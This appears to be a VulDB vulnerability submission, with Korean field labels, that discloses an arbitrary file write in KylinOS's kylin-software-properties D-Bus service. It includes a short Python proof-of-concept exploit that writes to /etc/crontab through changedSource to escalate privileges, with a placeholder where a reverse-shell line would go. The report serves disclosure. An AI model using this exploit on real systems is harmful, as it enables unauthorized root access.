| 제목 | Kylin OS kylin-software-properties arbitrary file write vuln |
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| 설명 | Report
Describe
kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def change_source(old, new, target):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
print(proxy.changedSource([old, new, target]))
change_source("#", "rebound shell", "/etc/crontab")
os.system("grep -rn 'rebound shell' /etc/crontab") |
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| 원천 | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md |
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| 사용자 | Set3r.Pan (UID 28571) |
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| 제출 | 2023. 05. 22. AM 10:02 (3 연령 ago) |
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| 모더레이션 | 2023. 06. 05. AM 07:08 (14 days later) |
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| 상태 | 수락 |
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| VulDB 항목 | 230686 [KylinSoft kylin-software-properties 전에 0.0.1-130 켜짐 KylinOS changedSource 권한 상승] |
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| 포인트들 | 20 |
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